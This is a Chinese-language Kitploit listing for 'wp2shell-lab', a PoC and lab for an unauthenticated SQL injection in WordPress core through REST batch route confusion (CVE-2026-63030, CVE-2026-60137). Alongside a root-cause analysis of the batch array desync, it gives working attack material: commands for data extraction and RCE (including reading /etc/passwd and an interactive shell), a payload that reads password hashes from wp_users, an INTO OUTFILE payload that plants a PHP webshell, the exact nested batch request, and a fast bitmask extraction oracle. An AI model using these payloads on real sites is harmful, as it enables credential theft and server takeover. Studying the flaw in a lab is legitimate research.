Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
wp2shell-lab — 教学PoC+实验环境:针对CVE-2026-63030 + CVE-2026-60137的未授权SQL注入漏洞,利用WordPress核心中的REST批量路由混淆。 | Kitploit
工具/GitHubGitHub/47cid/wp2shell-lab
静态分析漏洞分析代码分析漏洞利用Web应用程序漏洞利用CTF渗透测试学习与教育Payload 开发实验室与实践
GitHub47cid/wp2shell-lab

wp2shell-lab

教学PoC+实验环境:针对CVE-2026-63030 + CVE-2026-60137的未授权SQL注入漏洞,利用WordPress核心中的REST批量路由混淆。

1421个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库

wp2shell-lab

针对 CVE-2026-63030 + CVE-2026-60137 的教育性 PoC 与实验环境:WordPress 核心中通过 REST 批处理路由混淆实现的不需要认证的 SQL 注入。

由 Adam Kues(Searchlight Cyber / Assetnote)发现。已在 WordPress 6.9.5 / 7.0.2 中修复。

快速开始

root@kitploit:~
# 启动漏洞实验环境
cd docker && ./setup.sh
cd ..

# 检测
python3 -m exploit check http://localhost:8888
python3 -m exploit check http://localhost:8888 --confirm-sqli

# 提取数据(快速模式,默认)
python3 -m exploit extract http://localhost:8888 --preset fingerprint
python3 -m exploit extract http://localhost:8888 --preset users

# 提取数据(盲注模式,用于对比)
python3 -m exploit extract http://localhost:8888 --mode blind --preset fingerprint

# 自定义 SQL 查询
python3 -m exploit extract http://localhost:8888 --query "SELECT @@version"

# RCE(需要 FILE 权限,实验环境已授予)
python3 -m exploit rce http://localhost:8888 --cmd "id"
python3 -m exploit rce http://localhost:8888 --cmd "cat /etc/passwd"
python3 -m exploit rce http://localhost:8888 -i   # 交互式 shell

# 通过 Burp 代理
python3 -m exploit extract http://localhost:8888 --proxy http://127.0.0.1:8080

# 关闭环境
cd docker && ./setup.sh down

分析报告

步骤 1:批处理端点无需认证

POST /wp-json/batch/v1 将多个 REST API 调用打包到一个 HTTP 请求中。它自身没有认证检查,安全性委托给每个子请求的权限回调函数。

步骤 2:不同步

serve_batch_request_v1() 构建了两个并行数组:

  • $matches[] 跟踪每个子请求应该分派给哪个处理器
  • $validation[] 跟踪每个子请求是否通过验证

在分派时,它使用相同的偏移量索引这两个数组。漏洞在于:当某个子请求的路径在 wp_parse_url() 中失败时,会将一个 WP_Error 推入 $validation,但不会推入 $matches。这导致 $matches 偏移了一个位置,因此后续每个子请求都会被分派给错误的处理器。

步骤 3:双重嵌套

这个不同步被利用了两次。

外层批处理。 一个携带内层批处理作为请求体的 /wp/v2/posts 请求,被分派给了批处理处理器(自我调用)。它被验证为 posts 请求,因此内部的 requests 数组从未被对照批处理模式检查。这绕过了方法白名单,允许内层子请求使用 GET。

内层批处理。 一个携带 /wp/v2/categories?author_exclude=<SQLI> 的请求被分派给了 posts 的 get_items()。categories 模式未定义 author_exclude,因此它未经修改就通过了验证。但 posts 的 get_items() 将其映射到 WP_Query::author__not_in,而该值被未经处理地直接插入到 SQL 中。

步骤 4:SQL 注入

易受攻击的 WP_Query 代码仅在 author__not_in 已经是数组时才进行清理:

root@kitploit:~
// 修复前(易受攻击)
if (is_array($query_vars['author__not_in'])) {
    $query_vars['author__not_in'] = array_map('absint', ...);  // 清理
}
$author__not_in = implode(',', (array) $query_vars['author__not_in']);
$where .= " AND post_author NOT IN ($author__not_in) ";        // 原始插值

字符串值完全绕过了 is_array() 检查。(array) 强制转换将其包装为数组,但未进行任何清理。

步骤 5:你能用它做什么

读取数据库(所有受影响站点均可):

root@kitploit:~
author_exclude = 0) AND (ASCII(SUBSTRING((SELECT user_pass FROM wp_users LIMIT 1),1,1)) > 80)-- -

布尔盲注判断:返回文章 = 真,空 = 假。逐字符二分搜索。

写入文件(需要 MySQL FILE 权限,WordPress 默认没有):

root@kitploit:~
author_exclude = 0) AND 1=0 UNION SELECT '<?php system($_GET["c"]); ?>' INTO OUTFILE '/path/shell.php'-- -

批处理不同步

实际的 HTTP 请求:

root@kitploit:~
{
  "requests": [
    {"method": "POST", "path": "http://"},
    {"method": "POST", "path": "/wp/v2/posts", "body": {
      "requests": [
        {"method": "POST", "path": "http://"},
        {"method": "POST", "path": "/wp/v2/categories?author_exclude=<SQLI>",
         "body": {"name": "x", "orderby": false}},
        {"method": "GET",  "path": "/wp/v2/posts"}
      ]
    }},
    {"method": "POST", "path": "/batch/v1"}
  ]
}

数组如何错位:

serve_batch_request_v1() 在两个循环中处理子请求。第一个循环验证每个子请求并构建 $matches[] 和 $validation[]。第二个循环使用 $matches[$i] 作为处理器来分派每个子请求。由于第一个请求的错误未出现在 $matches 中,第二个循环将每个请求与错误的处理器配对。

root@kitploit:~
POST /?rest_route=/batch/v1  (匿名,无需认证)
|
v
你发送的请求
+--------------------------------------------------------------+
|                                                              |
|  循环 1(校验):                                            |
|    [0] "http://"          -> wp_parse_url 失败              |
|    [1] POST /wp/v2/posts  -> 匹配:posts_handler            |
|    [2] POST /batch/v1     -> 匹配:batch_handler            |
|                                                              |
|  $validation:  [ error,  OK(posts),     OK(batch)    ]       |
|  $matches:     [         posts_handler, batch_handler ]       |
|                 ^                                            |
|                 $matches 中跳过了 error                      |
|                                                              |
|  循环 2(分派):                                            |
|    i=0: error -> 跳过                                        |
|    i=1: POST /posts  使用 $matches[1] = batch_handler        |
|         -> posts 的请求体作为嵌套批处理执行                  |
|    i=2: POST /batch  使用 $matches[2] = 越界                |
|                                                              |
+--------------------------------------------------------------+
                          |
                          v
嵌套批处理(serve_batch_request_v1 对上述请求体自我调用)
+--------------------------------------------------------------+
|                                                              |
|  循环 1(校验):                                            |
|    [0] "http://"            -> wp_parse_url 失败            |
|    [1] POST /categories     -> 匹配:categories_handler     |
|    [2] GET  /wp/v2/posts    -> 匹配:posts_handler          |
|                                                              |
|  $validation:  [ error,  OK(cats),         OK(posts)    ]    |
|  $matches:     [         categories_handler, posts_handler ] |
|                                                              |
|  循环 2(分派):                                            |
|    i=0: error -> 跳过                                        |
|    i=1: POST /categories 使用 $matches[1] = posts_handler    |
|         -> categories 请求由 posts 的 get_items() 处理        |
|         -> author_exclude 不在 categories 模式中,未经清理   |
|         -> posts 将其映射到 WP_Query::author__not_in         |
|         -> SQL 注入                                          |
|                                                              |
+--------------------------------------------------------------+

通过 X-WP-Total 位掩码预言机快速提取

现有的 PoC 使用盲布尔注入:每个 HTTP 请求只能获取 1 比特,一个密码哈希大约需要 224 个请求。本仓库结合两种技术实现了约 75 倍的提取速度提升。

X-WP-Total 预言机。 WordPress 在文章查询中添加了 SQL_CALC_FOUND_ROWS,并将计数放在 X-WP-Total 响应头中。UNION 行在 SQL 层面被计数,即使 PHP 会将其从响应体中过滤掉。条件 UNION 可以编码单个比特:

root@kitploit:~
0) AND 1=0
UNION SELECT 1 WHERE (ASCII(SUBSTRING((...),1,1)) & 1) > 0   -- 比特 0
UNION SELECT 1 WHERE (ASCII(SUBSTRING((...),1,1)) & 2) > 0   -- 比特 1
...                                                            -- 比特 2-6
-- -

X-WP-Total = 0 表示比特未设置,= 1 表示比特已设置。7 次探测即可获得一个完整的 ASCII 字符。

无限内层批处理。 外层批处理通过其模式限制了 maxItems: 25。路由混淆绕过了此限制:内层批处理递归执行且没有大小检查。多个字符的所有 7 个比特探测可以打包到同一个请求中。

16 个字符 × 7 比特 = 每个请求 112 次探测。一个 34 字符的 phpass 哈希只需约 3 个请求,而不是约 224 个。

root@kitploit:~
$ python3 -m exploit extract http://target --mode blind --preset fingerprint
[*] 使用盲布尔预言机(二分搜索,每个请求 1 比特)
[+] MySQL version: 8.0.46
[+] Database user: wordpress@%
[+] Database name: wordpress
[*] 已发送 198 个请求

$ python3 -m exploit extract http://target --preset fingerprint
[*] 使用 X-WP-Total 位掩码预言机(每个请求 16 个字符)
[+] MySQL version: 8.0.46
[+] Database user: wordpress@%
[+] Database name: wordpress
[*] 已发送 3 个请求

参考

  • WordPress 7.0.2 发布公告
  • Searchlight Cyber 安全公告
  • GHSA-ff9f-jf42-662q(路由混淆)
  • GHSA-fpp7-x2x2-2mjf(SQL 注入)
  • Icex0/wp2shell-poc - 盲 SQL 注入 + 后认证 webshell
  • AdnaneKhan/Wp2Shell-RCE - INTO OUTFILE RCE 及 Docker 实验环境
  • sergiointel/wp2shell-poc - 最小化基于时间的 PoC

法律声明

仅限授权的安全测试和教育用途。请务必仅在您拥有或获得明确书面许可的系统上使用。

下载工具